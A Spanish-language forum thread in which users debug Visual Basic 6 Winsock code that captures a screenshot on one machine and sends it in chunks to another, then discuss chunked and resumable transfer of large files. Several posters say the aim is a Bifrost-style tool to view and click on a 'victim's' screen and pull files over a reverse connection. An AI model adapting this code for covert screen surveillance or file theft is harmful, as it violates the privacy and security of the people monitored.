Hola,veran este codigo no me va para hacer lo que quiero,enviar una imagen recibirla,y cargarla en un picture.
Servidor:
dim ar as string
Open "c:\capture.jpg" For Binary As #1
ar = Space(LOF(1))
Get #1, , ar
Close #1
WS.SendData "paco|" & ar
Cliente:
Case "paco"
Dim ar As String
Open "c:\captura1.jpg" For Binary Access Write As #1
Put #1, , sData(12)
Close #1
Form4.Picture1.Picture = LoadPicture("c:\capture.jpg")
Aqui debe estar el problema,he probado en vez acces write solo binary y la verdad no se que puede pasar,supongo que todo el code esta bien,lo he hecho yo pero deberia funcionar y no me va.
De antemano muchas gracias.
Saludos.
el problema es q no puedes enviar archivos muy grandes con winsock... debes dividirlos en paquetes y enviarlos de a uno y para recibirlso debes juntarlos... no se mucho del tema pero seguro alguien te explica mas... o si buscas como encuentras
Es una foto peor probaré a partirlo y juntarlo.
para enviar un archivo de cualquier tamaño a traves del winsock, no tienes que dividirlo tu, eso lo hace el protocolo tCP/ip, lo que tu tienes que hacer es recibirlo paquete a paquete.
si el cliente envia, pues es en el servidor donde tendras que juntar los paquetes y viceversa.
ejemplo de enviar un archivo desde el cliente al servidor:
cliente:
Open "c:\unarchivo.jpg" For Binary As #1
filedata = Input(LOF(1), 1) 'en esta variable string cargo todo el archivo
Close #1
ruta="d:\" 'en esta variable esta la ruta en donde se copiara en el servidor el archivo que envio
filesize = Len(filedata) 'aqui calculo el tamaño de lo que estoy enviando (long) en bytes
Winsock1.SendData "enviar" & "|" & filesize & "|" & ruta 'envio prmeramente una clave "enviar" luego el tamaño "filesize" y la ruta "ruta"... (aun no estoy enviando el archivo en si)
ahora te vas al servidor:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datosS
If Left(datosS, 7) = "archivo" Then
dato = Split(datosSS, "|") 'una variable dato (dim dato() as string) se encarga de dividir clave, tamaño y ruta
filesize = dato(1) 'aqui tengo el tamaño enviado por el cliente
Path = dato(2) 'aqui la ruta
viene_archivo = True 'prendo un interruptor
Winsock.SendData "enviar" 'ahora si le pido al cliente que envie el archivo en si
datosSS = ""
End If
pasamos al cliente:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Winsock.GetData DAToS
If DAToS= "enviar" Then
Winsock.SendData filedata 'aqui es donde realmente envia... aqui es donde el protocolo se encargara de dividir los paquetes... en el servidor habra que juntarlos uno a uno
End If
servidor:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datoS
If viene_archivo = True Then
'declarar arriba: Dim Datos2 As String
datos2 = datos2 & datoS 'lo que te decia: juntamos parte por parte el archivo que el cliente esta enviando
If Len(datos2) = filesize Then 'si termina
Open Path & "nuevoArchivo.jpg" For Binary As #4 'asumo que envias un JPG, sino vas a tener que usar un CommonDialog en el cliente si quieres usar el mismo nombre de archivo que envias del cliente
Put #4, 1, datos2
Close #4
viene_archivo = False 'apagas el interruptor
datos2 = "" 'vaceas el buffer
MsgBox "Archivo Recibido con Éxito." 'vuala, aqui termina todo el proceso y depues de esto supongo que tendras que cargar la imagen recibida a un picture, eso ya es tu trabajo.
End If
End If
si deseas mas info, postea
Mira aki (http://www.kizar.net/foro/index.php?topic=620.msg3816#msg3816) tienes otro ejemplo, q a mi me parece mas simple xD sera por q siempre lo uso ;D ;D
He probado los 2 codes y no me va,yo lo que quiero es enviar la imagen que capturo,un screen capture pero lo tengo en un timer claro,y me llegan algunos bytes de la imagen no se volveré a probar.
Pues deberia funcionarte.. Has compilado el mio tal y como te lo e puesto?? (cambiando lo unic olas rutas xD)
A ver el funcionamiento es el siguiente:
El cliente hace la petiion de un archivo.
El server enbia al cliente el tamaño del archivo.
El cliente pone en marcha un interruptor. A partir de ese momento y hasta q el tamaño de datos recibidos sea igual al tamaño q nos enviaron antes alamcenamos.
Una vez tengamos todo lo guardamos en un archivo
Ese es el funcionamiento. Es simple, deberia funcionarte..
Pongo el code(yo quiero hacer un screen capture):
Servidor:
Private Sub Timer1_Timer()
Dim foto As New cJpeg
Dim ar As String
Dim filesize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50 ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("c:\" & "\capture12" & ".jpg")
Open "c:\capture.jpg" For Binary As #1
ar = Input(LOF(1), 1)
filesize = Len(ar)
Close #1
WS.SendData "paco|" & filesize & ar
End Sub
Cliente:
Case "paco"
Dim ar As String
Dim filesize As String
Dim datos2 As String
filesize = sData(1)
datos2 = datos2 & sData(2)
enviar "yeah|"
If Len(datos2) = filesize Then
Open "c:\captura1.jpg" For Binary As #1
Put #1, , datos2
Close #1
datos2 = ""
Form4.Picture1.Picture = LoadPicture("c:\captura1.jpg")
End If
Y nada,0 bytes,antes alemnos me hizo 663 bytes pero ahora 0 y es cierto porque es el valor qeu tiene sdata(1).
No sé que hago mal.
Espero me puedan ayudar.
yovaninu muy buena explicacion! al fin eh entendido casi todo!
lo q no entiendo es q significa esta linea
CitarIf Left(datosS, 7) = "archivo" Then
para q es el left(datoS,7)???
Citarviene_archivo = True 'prendo un interruptor
y como se hace el interruptor? asi nomas? eso es todo? y para q sirve...
lo del left es: empezando desde la derecha,contamos 7 caracteres
es decir left(datosS,7) seria de izquierda a derecha solo miramos los 7 primeros,si es igual a "archivo" pues hacemos la accion.
El interruptor es un boolean que lo activa y lo desactiva para hacer acciones o saber el estado,lo activa al principio y luego comprueba el estado de este para realizar una accion.
Saludos
pd:la verdad es que la explicacion si esta muy bien pero aun sigo sin que funcione...
A ver cambia esto:
CitarOpen "c:\capture.jpg" For Binary As #1
ar = Input(LOF(1), 1)
filesize = Len(ar)
Close #1
Por
space(lof(1)) a ver si asi te funciona ademas en ningun momento haces un get para obtener los datos... y en la linea:
filesize = Len(ar)
pon FileLen("c:\capture.jpg") en vez de len ;)
Otra cosa, se te guarda bien la imagen en C:?? por q mira:
foto.SaveFile ("c:\" & "\capture12" & ".jpg")
No ves q hay dos \. Lo intentas guardar en C:\\capture12.jpg..
Aparte sigues aciendolo mal. Fijate:
SERVER:
WS.SendData "paco|" & filesize & ar
CLIENTE:
Case "paco"
No ves q paco solo se envia una vez mientras q los otros datos siguen llegando? asi no see acumulan, tienes q poner un interruptor como yo te e dicho (
FIJATE EN EL CODE Q TE E PASADO!!!!), seria asi:
SERVER:
Private Sub command1_click() ' Te lo pongo en un boton y luego ya lo cambias
Dim foto As New cJpeg
Dim ar As String
Dim filesize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50 ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("c:\" & "capture" & ".jpg")
ws.SendData "Tam:" & FileLen("C:\capture.jpg") 'Enviamos el tamaño de la foto q acabamos de sacar
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim Send As String
ws.GetData data
If Left(data, 8) = "SendFile" Then
Open "C:\Prueba.txt" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
ws.SendData Send
End If
End Sub
CLIENTE
Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data
If Envio = True Then
DataFile = DataFile & data
ProgressBar1.Value = Len(DataFile)
If Len(DataFile) = LenFile Then
Open "C:\Prueba2.txt" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
ProgressBar1.Value = 0
End If
End If
If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
ProgressBar1.Max = LenFile
Envio = True
ws.SendData "SendFile"
End If
Asi te tiene q funcionar por mis coj***
1S4ludo
ajajajaj me rio de las capulladas que he hecho,xD.Gracias E0N pruebo y me tiene que ir por huevos sino me matas,xD.
Enga gracias y saludos.
gracias por la respuesta Jareth
entonces segun entiendo podriamos reemplazar el codigo
Citarleft(datosS,7)
por un separador | y comprobrar si la primera parte es archivo... me parece q para mi programa iria mejor de esa forma...
es lo mismo no? segun entiendo
Si, es mucho mejor
Puedes poner cualkier caracter q actue como separador y luego usar un split para partirlo ;)
ok muchas gracias EON... por ahora la funcion q le puse es la tuya se la copie.. pero no se me es mas dificil de entender.. ahora con estos datos voy a hacer la mia ;)
gracias a todos
Yo solo decir que me va mal,la imagen me llega solo una parte de arriba,solo un cacho,no se en que fallo si el code es el de E0N.
Por cierto E0N,yo lo hacia con case osea enviaba "esto|" y hacia
case "esto" pero tu no lo haces asi,no se seguiré probando,peor solo me llega un cacho,que puede ser?
Seguramente q me haya comido algun trozo de code por q lo e hecho aki directamente, sin el VB delante. Vamos a ver, prueva con esto:
Server:
Private Sub Form_Load()
ws.Close
ws.Connect "127.0.0.1", 2848
End Sub
Private Sub ws_Connect()
Dim foto As New cJpeg
Dim ar As String
Dim filesize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50 ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("C:\capture.jpg")
ws.SendData "Tam:" & FileLen("C:\capture.jpg")
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim Send As String
ws.GetData data
If Left(data, 8) = "SendFile" Then
Open "C:\capture.jpg" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
ws.SendData Send
End If
End Sub
Cliete:
Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean
Private Sub Form_Load()
ws.LocalPort = 2848
ws.Listen
Envio = False
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data
If Envio = True Then
DataFile = DataFile & data
If Len(DataFile) = LenFile Then
Open "C:\capture2.jpg" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
'Una vez lo tenemos lo mostramos
Form4.Picture1.Picture = LoadPicture("C:\capture2.jpg")
End If
End If
If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
Envio = True
ws.SendData "SendFile"
End If
Ya esta. Compilas eso (solo añadiendo un form4 con un picture box unos winsocks y los modulos cjeg) y deberia funcionarte bien.
Lo de usar left o | da igual. Es mejor usar el split la verdad asi q en tu caso el server deberia enviar
ws.SendData "Tam:|" & FileLen("C:\capture.jpg")
en vez de
ws.SendData "Tam:" & FileLen("C:\capture.jpg")
Y el cliente comprovar si es Tam: solamente, seria:
case"Tam:":
en vez de
If Left(data, 4) = "Tam:" Then
Pero vamos eso ya es q tu lo adaptes. Si sigue sin funcionarte dimelo y te lo subo bien, por q esto lo estoy haciendo sin provar ;)
1S4ludo
Hola muchas gracias E0N por tu ayuda,pero solo me llega una parte de la imagen,un poco de la de arriba,son 139 kb y me llegan 1,36 kb.
No sé si soy yo pero estos code solo me hacen llegar eso.
Y eso que tu code lo he probado aparte y funciona 100%,el problema esta en algo mio....aqui va el code(igual es porque hay algo en un timer):
SERVIDOR
Private Sub Timer1_Timer()
Dim foto As New cJpeg
Dim filesize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50 ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("c:\" & "capture" & ".jpg")
WS.SendData "tam:|" & FileLen("c:\capture.jpg")
Case "send"
Dim ya As String
Dim send As String
ya = FileLen("c:\capture.jpg")
Open "c:\capture.jpg" For Binary As #1
send = Space(LOF(1))
Get #1, , send
Close #1
WS.SendData "yas|" & send & "|" & ya
End Select
End Sub
CLIENTE
Case "tam:"
Dim lenfile As Long
lenfile = Mid(sData(1), 5)
enviar "send|"
Dim ya As String
ya = sData(2)
Case "yas"
Dim datos2 As String
datos2 = datos2 & sData(1)
If Len(datos2) = ya Then
Open "c:\captura.jpg" For Binary As #1
Put #1, , datos2
Close #1
datos2 = ""
MsgBox "llegaron perfectamente"
End If
Bueno creo que es todo,a ver si hay algo que hago mal,o si me recomendais cambiar....
Muchas gracias a todos,que sé qeu soy mu pesao... :P
El mio aparte si te fucionaba no? por q ya me estaba preocupando xDD
Kita el timer. Haz q nada mas recibir una imagen haga peticion de la siguiente.
Tendrias q ponerlo en el cliente justo despues de el msgbox q dice "llegaron perfectamente".
1S4ludo
Tu code funciona 100%,pero he quitado el timer y no me va,igual solo un trozo.
No se que puede ser,en vez de un timer esta en un case "captura" que se envia al dar al boton start y se vuelve a enviar despues del msgbox,eso he cambiado y nada,igual.
Has probado mi code,si te va a ti?
O si tiene errores,esque joder lo tengo ahi y no lo veo.
Pues puede ser q has puesto case "send" dentro del timer :o eso tiene q ir el el data arrival del ws
Aparte de q lo estas haciendo mal de nuevo. Por q usas esto:
WS.SendData "yas|" & send & "|" & ya
En vez del interruptor q te e dicho? joer si te ayudo por lo menos hazme caso!! no ves q la imagen puede contener entre medias caracteres "|" por lo q al partilos perderias un monton de datos... si embargo si usas el interruptor no!!! imaginate q esto es una imagen en binario:
sdafsad|dfdsf5sd4f|sd4f@||||||||||lsjdvfsd5f4||svds|474
No ves q al llegar al server va a partir el chorizo ese por el | y vas a perder trozos? usa el interruptor anda...
estuve trabajando con los codigos y logre hacer el mio propio!! estoy muy contento por eso... y creo q se tu error ya q tb lo cometi mientras hacia el mio
CitarWS.SendData "yas|" & send & "|" & ya
el archivo envia la palabra yas| y una parte de la imagen... luego en otro paquete envia solo la siguiente parte de la imagen por lo que:
CitarCase "yas"
no se vuelve a cumplir!! ;D
creo q ese estu problema!! aunque soy muy novato y no se si lo q digo estara bien...
tendrias q hacer como bien dice EON un interruptor
yovaninu lo explica muy bien.. de ahi lo entendi mucho
como pongo una imagen en un picture... o en un image... no se q me conviene para hacer (empezar a hacer) una funcion como la del bifrost... para poder hacer clicks en la pantalla de la victima...
Mi problema es que no es tan sencillo,tengo un array de datos y cuando se hace la conexion envio varios datos,por eso lo hacia con case y todo porque con el codigo de E0N,el lo hace con ws.getdata datos,y luego todo con datos,pero asi a mi creo que no me iria porque tengo un array,por eso el select case sdatos(0) y hago un case,y por eso me va o me cuesta.Lo del interruptor ya lo he hecho y sigue sin irme.
No te funciona por lo q dice vivachapas ;)
Sube la parte del data arrival y te digo. Seguramente hagas ws.getdata datos y luego los partes:
Split (datos, "|")
no??
Private Sub WS_DataArrival(index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
Dim sData() As String
WS(index).GetData datos
sData = Split(datos, "|")
Select Case sData(0)
Case "Conexion"
Gracias y saludos.
Si, asi es como lo suelo usar yo tb. No pasa nada por q partas la cadena, recuerda q la variable datos no esta partido, kedaria asi:
CLIENTE:
CitarDim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean
Private Sub Form_Load()
Envio = False
End Sub
Private Sub WS_DataArrival(index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
Dim sData() As String
WS(index).GetData datos
sData = Split(datos, "|")
If Envio = True Then
DataFile = DataFile & datos
If Len(DataFile) = LenFile Then
Open "C:\capture2.jpg" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
'Ahora lo tendrias q mostrar C:\capture2.jpg en un picture
Envio = False
End If
End If
Select Case sData(0)
Case "Tam:"
LenFile = sData(1)
Envio = True
ws.SendData "SendFile"
SERVER:
Citar'La peticion de imagen ponla dentro del data arrival con la palabra q tu kieras
Private Sub ws_Connect()
ws.SendData "Tam:|" & FileLen("C:\Prueba.txt")
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim sData() As String
Dim datos As String
Dim Send As String
ws.GetData datos
sData = Split(datos, "|")
Select Case sData(0)
Case "SendFile"
'Aki pones el code para q haga la foto y q se guarde en C:\capture.jpg
Open "C:\capture.jpg" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
ws.SendData Send
End If
End Sub
Ya esta lo unico q tendrias q cambiar seria
Private Sub ws_Connect()
ws.SendData "Tam:|" & FileLen("C:\Prueba.txt")
End Sub
del server y poerlo en el data arrival, en uno de los case para q de mande la imagen cuando tu kieras ;)
Wua,muchas gracias E0N me va al 100%,funciona de maravilla mil gracias,muchisimas gracias por tu ayuda y tu paciencia.Si te puedo ayudar en algo(no creo)hazmelo saber.
Muchas gracias.
Saludos.
Se puede dar por solucionado.
Menos mal q te funciona xDD por q llevamos 28 respuestas con la mia para transferir un archivo xDD
De nada ::)
Cita de: E0N en 2 Abril 2007, 16:57 PM
Menos mal q te funciona xDD por q llevamos 28 respuestas con la mia para transferir un archivo xDD
De nada ::)
jajajaj si me ha costado pero ha salido.
Enga muchas gracias.
Ahora por ejemplo tengo un boton STop,cuando le doy que pare,vale lo he conseguido pero si luego le doy al boton Start no empieza,es por eso si alguien sabe como hacerlo bien,yo lo he hecho con un boolean que cambia el valor,al darle stop,se envia "stop|"y en el case "stop" parar=true y en lo de la captura de pantalla pongo if parar=false then y capturar.Pero luego para iniciar,si pongo en captura parar=true,pues el boton stop no va porque aunque diga que es false lo otro dirá que es true.
No se si se me entiende.
Gracias y espero me puedan ayudar.
Mejor azlo con un chacek box. Tendrias q introducirlo justo aki:
CLIENTE:
CitarIf Envio = True Then
DataFile = DataFile & datos
If Len(DataFile) = LenFile Then
Open "C:\capture2.jpg" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
'Ahora lo tendrias q mostrar C:\capture2.jpg en un picture
'Una vez se a mostrado tendriamos q hacer una nueva peticion
'Para saber si hacer la peticion o no comprovariamos el estado del check box:
If Check1.Value = 1 Then 'Si esta activo
ws.sendata 'Lo q tu hallas puesto para pedir una foto
End If
Envio = False
End If
End If
Asi solo recibirias imagenes cuando este activo el check box ;)
Gracias otra vez,he puesto el check en visible=false,cuando das al boto stop su valro es 0 y start 1,asi queda como yo quiero y funciona perfectamente.
Enga muchas gracias otra vez.
Saludos.
Lo puedes hacer solo con un boton, juega con su caption, cuando estes recibiendo imagenes q ponga stop y cuando no start por ej, y luuego compruevas If ommand1.caption = "stop" then...
veo un interes amplio por la transferencia de archivos, yo pase por muchos de esos problemas... y saben? un dia me pregunte lo siguiente: ¿cuando este trasladando un archivo desde el servidor al cliente (en conexion inversa) podria haber un boton pausar? ¿y otro para reanudar? ¿y otro para cancelar? y ¿otro para previsualizar? (en caso de que se trate de un archivo media)
me llevó noches y noches de codigo, al final lo logre... asi puedo decsrgar archivos desde el servidor de cualquier tamaño, hablo de cientos de megas, vamos que si hay interes posteo linea a linea el codigo completo y comentado...
haber ideas?
mmm seria un codigo muy interesante... ya q no tendrias q depender de q la victima este siempre conectada o por lo menos hasta q termine de bajar el archivo...
Cita de: vivachapas en 5 Abril 2007, 04:04 AM
mmm seria un codigo muy interesante... ya q no tendrias q depender de q la victima este siempre conectada o por lo menos hasta q termine de bajar el archivo...
si la victima se desconecta, entonces el cliente detecta tal accion y guarda lo que hasta el momento de la desconexion haya descargado, asi puedes reanudarlo en una proxima conexion o al dia siguiente y terminar de bajar el archivo cuando quieras... en fin quisiera chincheta ;D ;D ;D ;D ;D ;D
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?
Cita de: E0N en 5 Abril 2007, 12:58 PM
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?
Justamente esa es la idea mala que tenemos hasta ahora de transferir el archivo, es decir pasar tooooodo el archivo a una variable y despues transferirlo, y claro viene las imaginaciones malevolas por cierto de decir como paso 80GB a una variable sin que el basic se cuelgue, pues no necesariamente debes pasar lo 80GB del archivo a una variable... y este es el secreto... el tamaño archivo se debe dividir en partes (en cuantas sea necesario) y extraer solo esos tamaños o poriones a una variable lo que es mas razonable que pasar todo el archivo a una variable para luego transferirlos, puedes dividirlo en 10, 100, 1000, o 5000 partes y cada pedazo transferirlo sin problemas. Yo un archivo de mas de 100MB lo divido en 4096 partes aunque puedo elegir ese valor.... esto es 104857600 / 4096 = 25600bytes osea casi 25KB, esos 25 kb a una variable y esa variable se procede a transferir hasta terminar... si sobra bytes tambien eso se controla, este es el secreto que uso, asi que por teoria ningun archivo asi sea este de 100TB no deberia colgar al basic, aunque quien sabe.
Un Saludo.
es una excelente forma.. pero como haces a meter un archivo
(por ej: "C:\archivo.exe") de 100 mb en mas de una variable??
Cita de: yovaninu en 5 Abril 2007, 17:58 PM
Cita de: E0N en 5 Abril 2007, 12:58 PM
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?
Justamente esa es la idea mala que tenemos hasta ahora de transferir el archivo, es decir pasar tooooodo el archivo a una variable y despues transferirlo, y claro viene las imaginaciones malevolas por cierto de decir como paso 80GB a una variable sin que el basic se cuelgue, pues no necesariamente debes pasar lo 80GB del archivo a una variable... y este es el secreto... el tamaño archivo se debe dividir en partes (en cuantas sea necesario) y extraer solo esos tamaños o poriones a una variable lo que es mas razonable que pasar todo el archivo a una variable para luego transferirlos, puedes dividirlo en 10, 100, 1000, o 5000 partes y cada pedazo transferirlo sin problemas. Yo un archivo de mas de 100MB lo divido en 4096 partes aunque puedo elegir ese valor.... esto es 104857600 / 4096 = 25600bytes osea casi 25KB, esos 25 kb a una variable y esa variable se procede a transferir hasta terminar... si sobra bytes tambien eso se controla, este es el secreto que uso, asi que por teoria ningun archivo asi sea este de 100TB no deberia colgar al basic, aunque quien sabe.
Un Saludo.
Si la historia es esa. Yo cuando subo archivos los suele subir de 10 en 10 bits para poner la barra de progreso, pero primero lo leo entero
La cuestion es, al abrir desde VB (open "C:\...) un archivo de 80GB (simplemente usar la orden open) no se te revienta el programa??
mira no se si realmente tendras un archivo de 2GB o 2TB o 1BB, me e tomado la molestia de buscar el archivo mas grande de mi PC y encontré uno de casi 800MB, le puse este código:
Open "E:\Archivos de programa\eMule\Incoming1\3dsmax 500 Modelos y Texturas.zip" For Binary As #1
Close #1
MsgBox "pasó"
y el basic sigue de lo mas normal... :D
asi que creo que la resp a tu pregunta es que al menos por debajo de 1 GB el open no "revienta" al basic... ¿alquien tiene archivos de mas de 1GB pa probar ;D ;D ;D ;D ;D ;D?
Pero nos vas a decir como leerlo sin q reviente o no?
como hacen para pasar de a 10 bites... o mas o menos.. yo simplemente pongo ws.senddata file... y lo envia como puede.. o como este por defecto...
y como ponen un archivo en varias string... ¿? :huh:
Al obtener el archivo entero piensa q es una cadena xD por lo q puedes trabajar con el como tal:
For o = 1 To Len(Todo) 'Leemos el archivo de 10 en 10 bit's
Parte = Mid(Todo, o, 10)
o = o + 9
ws.SendData Parte 'Enviamos los 10 bit's
Next o
todo es el archivo entero ;)
bien.. creo q lo entendi mas o menos...
CitarParte = Mid(Todo, o, 10)
el 10 es de 10 bites... osea q si quiero pasar de a 5 por ejemplo pongo 5 ¿?
y a este no lo entendi...
Citaro = o + 9
no tendria q ser mas 10¿?
No :xD pruevalo y veras como tiene q ser 9, si pones 10 pierdes datos. Tambien puedes usar step:
For o = 1 To Len(Todo) step 10
Parte = Mid(Todo, o, 10)
ws.SendData Parte 'Enviamos los 10 bit's
Next o
1S4ludo
tengo un problemilla con el codigo.. porfa aber si alguien me puede ayudar.. gracias.
SERVIDOR:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Dim datosS As String
Winsock1.GetData datosS
If Left(datosS, 7) = "archivo" Then
dato = Split(datosSS, "|") 'una variable dato (dim dato() as string) se encarga de dividir clave, tamaño y ruta
filesize = dato(1) 'aqui tengo el tamaño enviado por el cliente
Winsock1.SendData "enviar" 'ahora si le pido al cliente que envie el archivo en si
datosSS = ""
End If
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Datos2 As String
Dim datos As String
Winsock2.GetData datos
Datos2 = Datos2 & datos 'lo que te decia: juntamos parte por parte el archivo que el cliente esta enviando
If Len(Datos2) = filesize Then 'si termina
Open App.Path & "nuevoArchivo.jpg" For Binary As #4 'asumo que envias un JPG, sino vas a tener que usar un CommonDialog en el cliente si quieres usar el mismo nombre de archivo que envias del cliente
Put #4, 1, Datos2
Close #4
Datos2 = "" 'vaceas el buffer
MsgBox "Archivo Recibido con Éxito." 'vuala, aqui termina todo el proceso y depues de esto supongo que tendras que cargar la imagen recibida a un picture, eso ya es tu trabajo.
End If
End Sub
CLIENTE:
Private Sub Timer2_Timer()
SavePicture Picture1.Image, App.Path + "/temp.bmp"
Open App.Path + "/temp.bmp" For Binary As #1
filedata = Input(LOF(1), 1) 'en esta variable string cargo todo el archivo
Close #1
filesize = Len(filedata) 'aqui calculo el tamaño de lo que estoy enviando (long) en bytes
If Winsock1.State = "7" Then
Winsock1.SendData "enviar" & "|" & filesize 'envio prmeramente una clave "enviar" luego el tamaño "filesize" y la ruta "ruta"... (aun no estoy enviando el archivo en si)
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = "enviar" Then
Winsock2.SendData filedata
End If
End Sub
Aqui como lo he puesto esta para que funcione con 2 Winsock pero si me lo podeis explicar con 1 solo muxo mejor, gracias x todo espero respuesta. saludos.
pero q problema tienes?? lo quieres hacer con un solo winsock? q es lo q no entiendes... o yo no te entiendo...
Pues que el codigo en si no me funciona... no recibe nada.
Citardato = Split(datosSS, "|") 'una variable dato (dim dato() as string) se encarga de dividir clave, tamaño y ruta
fijate q datosSS tiene triple ese y aca:
CitarDim datosS As String
CitarIf Left(datosS, 7) = "archivo" Then
tiene solo una...
no dimencionas dato...
y bueno... fijate esos errores los encontre cuando lei las primeras lineas...
ademas, nunk vas a recivier nada,
ya que en el servidor,
el DataArrival esta mal,
ya que pones solo winsock y no winsock1,
como realmente se llama en tu proycto
salu2
voy a hacer mi propia forma de enviar un archivo, lo pondre aca bien explicado parte por parte para ver si cerramos con este tema ;)
tienes muchas cosas mal,
tendrias q tener mas cuidado,
al empezar a codear,
presta ams atencion.
salu2